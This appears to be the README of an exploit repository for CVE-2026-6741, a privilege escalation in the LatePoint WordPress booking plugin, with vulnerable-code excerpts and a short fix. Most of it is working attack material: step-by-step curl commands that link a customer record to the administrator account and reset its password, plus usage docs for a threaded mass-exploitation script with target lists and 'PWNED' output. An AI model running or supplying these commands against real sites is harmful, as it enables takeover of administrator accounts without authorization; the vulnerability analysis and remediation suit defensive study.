
CVE-2026-6741 is a CVSS 8.8 (High) Authenticated (Agent+) Privilege Escalation vulnerability in the LatePoint – Calendar Booking Plugin
CVE-2026-6741 is a CVSS 8.8 (High) Authenticated (Agent+) Privilege Escalation vulnerability in the LatePoint – Calendar Booking Plugin
Plugin: LatePoint – Calendar Booking Plugin for Appointments and Events (
latepoint) CVE ID: CVE-2026-6741 CVSS Score: 8.8 (High) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HVulnerability Type: Authenticated (Agent+) Privilege Escalation → Administrator Takeover Affected Versions: <= 5.4.1 Patched Version: 5.4.2 Disclosure Date: April 27, 2026 Researchers: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
An authenticated attacker with the latepoint_agent role can
link any LatePoint customer record to a WordPress administrator account,
and then use LatePoint's own password reset flow to change the administrator's password.
This results in full site takeover.
LatePoint 5.3.0 added support for the Abilities API introduced in WordPress 6.9+. This API allows plugins to register "ability" classes that can be called via the REST API:
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← only control: this capability
}
The Agent role has customer__edit capability by default:
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← agent has this capability
...
];
}
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// Only checks if the user exists
// MISSING: No role check on the target user
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← link to any WP user
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ wordpress_user_id is now admin ID → admin password changes
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// Only checks the CALLER's capability
// Does NOT check the TARGET user's role
}
latepoint_agent account
│
▼
1. Login as Agent to WP → get REST nonce
│
▼
2. Identify target admin WordPress user ID
(wp-json/wp/v2/users or ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ No role check → Successful
│
▼
4. LatePoint forgot_password → reset token sent to customer email
│
▼
5. change_password with token → calls update_password()
→ wp_set_password("Hacked!", 1)
→ Admin password changed
│
▼
6. Login as admin with new password → Full site control ✓
⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites:
latepoint_agent roleWP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# Cookie-based login
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# Get REST nonce
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# List admin users via REST API
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # Usually ID=1
CUSTOMER_ID=5 # Your controlled LatePoint customer ID
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
Expected response:
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint sends a reset email containing an account_nonce token
to $CUSTOMER_EMAIL.
RESET_TOKEN="<token_from_email>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
This call triggers the update_password() → wp_set_password($NEW_PASSWORD, 1) chain.
Admin password changed.
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# Access wp-admin
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Expected: 200 OK (not redirected to wp-login.php)
# Verify role via REST API
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Expected: "roles": ["administrator"]
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
requirements.txt
requests
python latepoint_privesc.py -u http://target.com \
--agent-user agent1 --agent-pass Pass123!
python latepoint_privesc.py -u http://target.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected]
python latepoint_privesc.py -u http://target.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected] \
--reset-token abc123xyz \
--new-password Hacked_2026!
python latepoint_privesc.py -l targets.txt -t 10 \
--agent-user agent1 --agent-pass Pass123! \
-o results.txt
python latepoint_privesc.py -u http://target.com \
--agent-user agent1 --agent-pass Pass123! \
--proxy http://127.0.0.1:8080
| Parameter | Description |
|---|---|
--agent-user | Agent username (required) |
--agent-pass | Agent password (required) |
| Parameter | Description | Default |
|---|---|---|
--admin-id | Target admin WP user ID |
| Parameter | Description | Default |
|---|---|---|
--reset-token | Reset token from email | — |
--new-password | New admin password | Pwned_CVE2026_6741! |
[*] Target : http://target.com
[*] Agent : agent1
[*] Admin ID : auto-detect
[*] Customer ID : auto-detect
[*] Reset Token : waiting for email
[*] New Password : Pwned_CVE2026_6741!
[→] http://target.com Step 1/6: Agent login...
[→] http://target.com Step 2/6: Admin user ID detection...
[→] http://target.com Step 3/6: Customer ID detection...
[→] http://target.com Step 4/6: Linking Customer #5 → Admin #1...
[→] http://target.com Step 5/6: Initiating password reset...
[→] http://target.com Step 6/6: Changing password (manual token)...
════════════════════════════════════════════════════════════
[★ PWNED ] http://target.com
Version : 5.4.1
Admin ID : 1
Customer : #5 <[email protected]>
User : admin roles=['administrator']
════════════════════════════════════════════════════════════
[+] Saved → privesc_results.txt
┌─────────────────────────────────────────────────────────┐
│ PHASE 1 — Link + Send Reset Email │
│ │
│ python latepoint_privesc.py -u http://target.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] │
│ │
│ → Output: "Reset email sent — waiting for token" │
└─────────────────────────┬───────────────────────────────┘
│
Get token from email
│
┌─────────────────────────▼───────────────────────────────┐
│ PHASE 2 — Change Password with Token │
│ │
│ python latepoint_privesc.py -u http://target.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] \ │
│ --reset-token abc123xyz \ │
│ --new-password Hacked_2026! │
│ │
│ → Output: ★ PWNED — roles=['administrator'] │
└─────────────────────────────────────────────────────────┘
Secure execute() example:
// Unsafe (current — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Safe (recommended — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Check target user's role
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}
cve-2026-6741-scanner/
├── latepoint_privesc.py # Main scanner
├── requirements.txt # Dependencies
└── README.md # This file
This tool and PoC are prepared solely for use on authorized systems, educational purposes, and within the scope of penetration testing. Unauthorized use constitutes a violation of criminal laws including Turkish Penal Code Articles 243-245 and international cybercrime laws. The developer accepts no legal responsibility for any misuse of this tool.
MIT License — For educational and research purposes only.
| Field | Value |
|---|
| Plugin Name | LatePoint – Calendar Booking Plugin |
| Plugin Slug | latepoint |
| CVE ID | CVE-2026-6741 |
| CVSS Score | 8.8 (High) |
| Vulnerability Type | Authenticated (Agent+) Privilege Escalation |
| Affected Version | <= 5.4.1 |
| Patched Version | 5.4.2 |
| Prerequisite | latepoint_agent role, WordPress 6.9+ |
| Parameter | Short | Description | Default |
|---|
--url | -u | Single target URL | — |
--list | -l | Target list file | — |
--threads | -t | Number of threads | 5 |
--output | -o | Output file | privesc_results.txt |
--proxy | — | Proxy URL | — |
--timeout | — | Request timeout (seconds) | 10 |
--force | — | Continue even if Abilities API detection fails | False |
| auto-detect |
--customer-id | Controlled LatePoint customer ID | auto-detect |
--customer-email | LatePoint customer email | agent email |
| Status | Description |
|---|
★ PWNED | Admin password changed, session established |
~ RESET_SENT | Reset email sent — waiting for token |
~ PWD_CHANGE | Password changed — verify admin login manually |
- LINK_FAIL | Customer-Admin linking failed |
- LOGIN_FAIL | Agent login failed |
- NO_PLUGIN | LatePoint not installed |
- NO_ABILITY | Abilities API disabled (WP 6.9+ required) |
~ NO_CUST | Customer ID not found — specify manually |
~ UNREACH | Target unreachable |
| Measure | Implementation |
|---|
| Plugin Update | Upgrade to LatePoint 5.4.2+ |
| Add Role Check | Validate target user role in execute() |
| Restrict Abilities API | Remove connect-customer-to-wp-user capability from Agent role |
| Password Reset Protection | Disable LatePoint reset flow for admin accounts |
| WP 6.9 Abilities Audit | Regularly review registered abilities |